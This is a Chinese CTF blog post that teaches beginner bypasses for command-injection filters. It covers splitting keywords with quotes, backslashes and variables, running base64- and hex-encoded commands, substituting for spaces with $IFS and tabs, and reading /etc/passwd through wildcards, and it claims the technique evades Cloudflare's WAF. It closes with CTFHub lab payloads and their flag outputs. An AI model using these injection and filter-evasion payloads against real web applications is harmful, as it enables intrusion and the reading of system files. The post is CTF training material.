美文网首页
CTF随笔-RCE入门

CTF随笔-RCE入门

作者: 星际男 | 来源:发表于2020-10-15 15:43 被阅读0次

实时上,RCE必然有过滤,下面介绍入门级的bypass

0x04 关键字bypass

纯关键字过滤,如cat、flag、ls等

单一的关键字过滤,可以使用反斜杠、单引号、变量拼接、base64编码等方式进行绕过
反斜杠

ca\t /fl\ag

单引号

'l's

双引号

"l"s

命令拼接,内联执行

a=l;b=s;$a$b

base64编码

`echo d2hvYW1p | base64 -d`

解析:
d2hvYW1p解码后是whoami
base64 -d 解密
`` 解密里面的结果,再去执行命令

root@kali:/tmp# echo 'cat flag' | base64 
Y2F0IGZsYWcK
root@kali:/tmp# `echo Y2F0IGZsYWcK | base64 -d` 
flag{abcd1234}

十六进制执行

root@kali:/tmp# echo "0x63617420666C6167"| xxd -r -p|bash
flag{abcd1234}

root@kali:/tmp# $(printf "\x63\x61\x74\x20\x66\x6C\x61\x67")
flag{abcd1234}

部分文件名绕过
过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过
[root~]# cat /???/pass*
2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /etc$u/passwd
备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

另外,linux还提供一些替代的字符,总结如下

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php

0x05 特殊符号bypass

空格bypass

https://zhuanlan.zhihu.com/p/127047303

在过滤空格的情况下,常见bypass

<符号
$IFS
${IFS}
$IFS$9
%09 用于url传递
cat</flag
{cat,flag}
<>(cat<>/flag)
<(cat</flag)

root@kali:/tmp# cat<flag
flag{abcd1234}
root@kali:/tmp# cat$IFS$9flag
flag{abcd1234}
root@kali:/tmp# cat${IFS}flag
flag{abcd1234}

0x06 连接符bypass

常见的连接符有| & ;%0a等,如果过滤,则逐个试试

0x07 读取文件和目录bypass

如果禁止了类似cat的关键字,可以用以下替代

curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

读取目录,可以用以下替代

find -- 列出当前目录下的文件以及子目录所有文件

0x08 入门例题

CTFHub 命令注入-过滤cat

可以使用反斜杠、双引号、单引号等等绕过

 /?ip=127.0.0.1%3Bca\t flag_26377562217798.php
 /?ip=127.0.0.1%3Bc'a't flag_26377562217798.php
 /?ip=127.0.0.1%3Bc"a"t flag_26377562217798.php 

CTFHub 命令注入-过滤空格

 /?ip=127.0.0.1%3Bcat$IFS$9flag_13299173057278.php
 /?ip=127.0.0.1%3Bcat${IFS}flag_13299173057278.php
 /?ip=127.0.0.1%3Bcat<flag_13299173057278.php
 /?ip=127.0.0.1%3Bcat%09flag_13299173057278.php

CTFHub 命令注入-过滤目录分隔符

使用命令拼接

/?ip=127.0.0.1%3Bcd flag_is_here;ls
/?ip=127.0.0.1%3Bcd flag_is_here;cat flag_34112289819045.php

列出所有文件和所有目录
递归列出目录下所有的文件

find . -exec ls -dl \{\} \; | awk '{print $3, $4, $9}'
/?ip=127.0.0.1%3Bfind . -exec ls -dl \{\} \; | awk '{print $3, $4, $9}'
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => www-data www-data .
    [2] => root root ./flag_is_here
    [3] => root root ./flag_is_here/flag_34112289819045.php
    [4] => root root ./index.php
)

递归搜索文件名

find  -type f -name "*.*" | grep "flag"
find . | grep "flag"
 /?ip=127.0.0.1%3Bfind  -type f -name "*.php" | grep "flag"
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => ./flag_is_here/flag_34112289819045.php
)

搜索并且显示文件内容

find -type f -print -exec grep "flag" {} \;
 /?ip=127.0.0.1%3Bfind -type f -print -exec grep "ctf" {} \;
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => ./flag_is_here/flag_34112289819045.php
    [2] => <?php // ctfhub{b088021457c75189f868e82db183d8b4a9eaeab4}
    [3] => ./index.php
)

CTFHub 命令注入-过滤运算符

使用 ; 拼接命令

?ip=127.0.0.1%3Bls
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_44712389318511.php
    [2] => index.php
)
?ip=127.0.0.1%3Bcat+flag_44712389318511.php
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => <?php // ctfhub{696be71ef75d7c7927945e475b968cb33859d265}
)

CTFHub 命令注入-综合练习

1、使用%0a串联命令
2、使用变量串联命令

执行ls

/?ip=127.0.0.1%0aa=l%0ab=s%0a$a$b
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)

执行ls flag_is_here

 /?ip=127.0.0.1%0aa=l%0ab=s%0ac=fl%0ad=ag_is_here%0a$a$b${IFS}$c$d
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_7300239618510.php
)

执行cd flag_is_here;cat flag_7300239618510.php

 /?ip=127.0.0.1%0aa=c%0ab=d%0ac=fl%0ad=ag_is_here%0ae=ca%0af=t%0ag=fl%0ah=ag_7300239618510.php%0a$a$b${IFS}$c$d%0a$e$f${IFS}$g$h
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => <?php // ctfhub{6ef5bff88a446b88489d06fb24ee1d7d3dc0b420}
)

相关文章

  • CTF随笔-RCE入门

    实时上,RCE必然有过滤,下面介绍入门级的bypass 0x04 关键字bypass 纯关键字过滤,如cat、fl...

  • CTF随笔-RCE进阶

    0x09 字符数量限制bypass 源自于某次比赛的题目。题目限制了命令的长度,只能7个字符。 在此情况下,利用l...

  • CTF随笔-RCE基础

    0x00 开篇 脑子不够用,记录积累的知识,第一篇。RCE全称是remote command/code execu...

  • CTF从入门到提升

    CTF选手的操作都是像吴白那么帅嘛?如何入门CTF比赛,一篇经验带你入门。 CTF(Capture The Fla...

  • CTF从入门到提升之宽字节注入

    CTF入门到放弃 为什么说是从入门到放弃呢?(开个玩笑)如果说大家对CTF有了解的话,其实应该知道CTF是一个什么...

  • CTF-Web-[极客大挑战 2019]RCE ME

    CTF-Web-[极客大挑战 2019]RCE ME 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个...

  • PHP命令执行集锦

    前言 代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下 ...

  • pwn栈溢出-基本ROP

    0. 前言 接触ctf一年有余,作为一名ctf老菜鸟,没写过一篇ctf相关博客,确实不该。 本文介绍pwn入门操作...

  • CTF入门指南

    转载 CTF入门指南 [https://www.cnblogs.com/jpSpaceX/p/15085882.h...

  • ctf入门指南

    capture the flag 夺旗比赛号称计算机界的奥林匹克 ctf题目类型: Web密码学pwn 程序的逻辑...

网友评论

      本文标题:CTF随笔-RCE入门

      本文链接:https://www.haomeiwen.com/subject/irwipktx.html